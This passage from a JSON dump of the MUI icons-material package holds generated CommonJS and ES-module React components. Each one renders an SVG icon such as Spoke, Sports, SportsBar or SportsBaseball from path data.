    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7c0-2.21-1.79-4-4-4S8 4.79 8 7s1.79 4 4 4 4-1.79 4-4m-4 2c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-5 4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m10-6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'SpokeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpokeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7c0-2.21-1.79-4-4-4S8 4.79 8 7s1.79 4 4 4 4-1.79 4-4m-4 2c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-5 4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m10-6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'SpokeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpokeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7c0 2.21-1.79 4-4 4S8 9.21 8 7s1.79-4 4-4 4 1.79 4 4m-9 6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m10 0c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'SpokeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpokeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7c0 2.21-1.79 4-4 4S8 9.21 8 7s1.79-4 4-4 4 1.79 4 4m-9 6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m10 0c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'SpokeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpokeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7c0 2.21-1.79 4-4 4S8 9.21 8 7s1.79-4 4-4 4 1.79 4 4m-9 6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m10 0c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'SpokeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpokeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7c0 2.21-1.79 4-4 4S8 9.21 8 7s1.79-4 4-4 4 1.79 4 4m-9 6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m10 0c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'SpokeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpokeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M7 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m10 0c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7c0-2.21-1.79-4-4-4S8 4.79 8 7s1.79 4 4 4 4-1.79 4-4m-4 2c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-5 4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m10-6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'SpokeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpokeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M7 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m10 0c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7c0-2.21-1.79-4-4-4S8 4.79 8 7s1.79 4 4 4 4-1.79 4-4m-4 2c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-5 4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m10-6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'SpokeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sports.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13H22V6zM4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'Sports');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sports.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13H22V6zM4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'Sports');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-1.56c.35-.59.56-1.27.56-2 0-2.21-1.79-4-4-4-.34 0-.66.05-.98.13-.82-.68-1.86-1.11-3.02-1.11-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V21h11v-2h2c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2M7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M19 17h-2v-6h2z\"\n}), 'SportsBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-1.56c.35-.59.56-1.27.56-2 0-2.21-1.79-4-4-4-.34 0-.66.05-.98.13-.82-.68-1.86-1.11-3.02-1.11-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V21h11v-2h2c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2M7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M19 17h-2v-6h2z\"\n}), 'SportsBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19H8v-6.63c1.26-.34 2.11-1.27 2.77-1.99C11.6 9.47 12.08 9 13 9h2zM10 2.02c-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V21h11v-2h2c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2h-1.56c.35-.59.56-1.27.56-2 0-2.21-1.79-4-4-4-.34 0-.66.05-.98.13-.82-.68-1.86-1.11-3.02-1.11M7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M17 17v-6h2v6z\"\n}), 'SportsBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19H8v-6.63c1.26-.34 2.11-1.27 2.77-1.99C11.6 9.47 12.08 9 13 9h2zM10 2.02c-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V21h11v-2h2c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2h-1.56c.35-.59.56-1.27.56-2 0-2.21-1.79-4-4-4-.34 0-.66.05-.98.13-.82-.68-1.86-1.11-3.02-1.11M7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M17 17v-6h2v6z\"\n}), 'SportsBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-1.56c.33-.55.53-1.18.55-1.86.04-1.03-.43-1.99-1.16-2.71-1.54-1.54-2.74-1.56-3.82-1.29-.81-.69-1.85-1.12-3.01-1.12-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V19c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2h2c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2M7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M19 17h-2v-6h2z\"\n}), 'SportsBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-1.56c.33-.55.53-1.18.55-1.86.04-1.03-.43-1.99-1.16-2.71-1.54-1.54-2.74-1.56-3.82-1.29-.81-.69-1.85-1.12-3.01-1.12-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V19c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2h2c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2M7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M19 17h-2v-6h2z\"\n}), 'SportsBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9h-3.56c.35-.59.56-1.27.56-2 0-2.21-1.79-4-4-4-.34 0-.66.05-.98.13-.82-.68-1.86-1.11-3.02-1.11-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V21h11v-2h4zM7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M19 17h-2v-6h2z\"\n}), 'SportsBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9h-3.56c.35-.59.56-1.27.56-2 0-2.21-1.79-4-4-4-.34 0-.66.05-.98.13-.82-.68-1.86-1.11-3.02-1.11-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V21h11v-2h4zM7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M19 17h-2v-6h2z\"\n}), 'SportsBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19H8v-6.63c1.26-.34 2.11-1.27 2.77-1.99C11.6 9.47 12.08 9 13 9h2zm-8-8.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19H8v-6.63c1.26-.34 2.11-1.27 2.77-1.99C11.6 9.47 12.08 9 13 9h2zM10 2.02c-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V21h11v-2h2c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2h-1.56c.35-.59.56-1.27.56-2 0-2.21-1.79-4-4-4-.34 0-.66.05-.98.13-.82-.68-1.86-1.11-3.02-1.11M7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M17 17v-6h2v6z\"\n}, \"1\")], 'SportsBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19H8v-6.63c1.26-.34 2.11-1.27 2.77-1.99C11.6 9.47 12.08 9 13 9h2zm-8-8.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19H8v-6.63c1.26-.34 2.11-1.27 2.77-1.99C11.6 9.47 12.08 9 13 9h2zM10 2.02c-1.89 0-3.51 1.11-4.27 2.71C4.15 5.26 3 6.74 3 8.5c0 1.86 1.28 3.41 3 3.86V21h11v-2h2c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2h-1.56c.35-.59.56-1.27.56-2 0-2.21-1.79-4-4-4-.34 0-.66.05-.98.13-.82-.68-1.86-1.11-3.02-1.11M7 10.5c-1.1 0-2-.9-2-2 0-.85.55-1.6 1.37-1.88l.8-.27.36-.76C8 4.62 8.94 4.02 10 4.02c.79 0 1.39.35 1.74.65l.78.65S13.16 5 13.99 5c1.1 0 2 .9 2 2h-3C9.67 7 9.15 10.5 7 10.5M17 17v-6h2v6z\"\n}, \"1\")], 'SportsBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseball.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.81 6.28C2.67 7.9 2 9.87 2 12s.67 4.1 1.81 5.72C6.23 16.95 8 14.68 8 12S6.23 7.05 3.81 6.28m16.38 0C17.77 7.05 16 9.32 16 12s1.77 4.95 4.19 5.72C21.33 16.1 22 14.13 22 12s-.67-4.1-1.81-5.72\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-3.28 1.97-6.09 4.79-7.33C17.01 3.02 14.63 2 12 2S6.99 3.02 5.21 4.67C8.03 5.91 10 8.72 10 12s-1.97 6.09-4.79 7.33C6.99 20.98 9.37 22 12 22s5.01-1.02 6.79-2.67C15.97 18.09 14 15.28 14 12\"\n}, \"1\")], 'SportsBaseball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseball.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.81 6.28C2.67 7.9 2 9.87 2 12s.67 4.1 1.81 5.72C6.23 16.95 8 14.68 8 12S6.23 7.05 3.81 6.28m16.38 0C17.77 7.05 16 9.32 16 12s1.77 4.95 4.19 5.72C21.33 16.1 22 14.13 22 12s-.67-4.1-1.81-5.72\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-3.28 1.97-6.09 4.79-7.33C17.01 3.02 14.63 2 12 2S6.99 3.02 5.21 4.67C8.03 5.91 10 8.72 10 12s-1.97 6.09-4.79 7.33C6.99 20.98 9.37 22 12 22s5.01-1.02 6.79-2.67C15.97 18.09 14 15.28 14 12\"\n}, \"1\")], 'SportsBaseball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseballOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M5.61 16.78C4.6 15.45 4 13.8 4 12s.6-3.45 1.61-4.78C7.06 8.31 8 10.05 8 12s-.94 3.69-2.39 4.78M12 20c-1.89 0-3.63-.66-5-1.76 1.83-1.47 3-3.71 3-6.24S8.83 7.23 7 5.76C8.37 4.66 10.11 4 12 4s3.63.66 5 1.76c-1.83 1.47-3 3.71-3 6.24s1.17 4.77 3 6.24c-1.37 1.1-3.11 1.76-5 1.76m6.39-3.22C16.94 15.69 16 13.95 16 12s.94-3.69 2.39-4.78C19.4 8.55 20 10.2 20 12s-.6 3.45-1.61 4.78\"\n}), 'SportsBaseballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseballOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M5.61 16.78C4.6 15.45 4 13.8 4 12s.6-3.45 1.61-4.78C7.06 8.31 8 10.05 8 12s-.94 3.69-2.39 4.78M12 20c-1.89 0-3.63-.66-5-1.76 1.83-1.47 3-3.71 3-6.24S8.83 7.23 7 5.76C8.37 4.66 10.11 4 12 4s3.63.66 5 1.76c-1.83 1.47-3 3.71-3 6.24s1.17 4.77 3 6.24c-1.37 1.1-3.11 1.76-5 1.76m6.39-3.22C16.94 15.69 16 13.95 16 12s.94-3.69 2.39-4.78C19.4 8.55 20 10.2 20 12s-.6 3.45-1.61 4.78\"\n}), 'SportsBaseballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseballRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.81 6.28C2.67 7.9 2 9.87 2 12s.67 4.1 1.81 5.72C6.23 16.95 8 14.68 8 12S6.23 7.05 3.81 6.28m16.38 0C17.77 7.05 16 9.32 16 12s1.77 4.95 4.19 5.72C21.33 16.1 22 14.13 22 12s-.67-4.1-1.81-5.72\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-3.28 1.97-6.09 4.79-7.33C17.01 3.02 14.63 2 12 2S6.99 3.02 5.21 4.67C8.03 5.91 10 8.72 10 12s-1.97 6.09-4.79 7.33C6.99 20.98 9.37 22 12 22s5.01-1.02 6.79-2.67C15.97 18.09 14 15.28 14 12\"\n}, \"1\")], 'SportsBaseballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseballRounded.mjs",
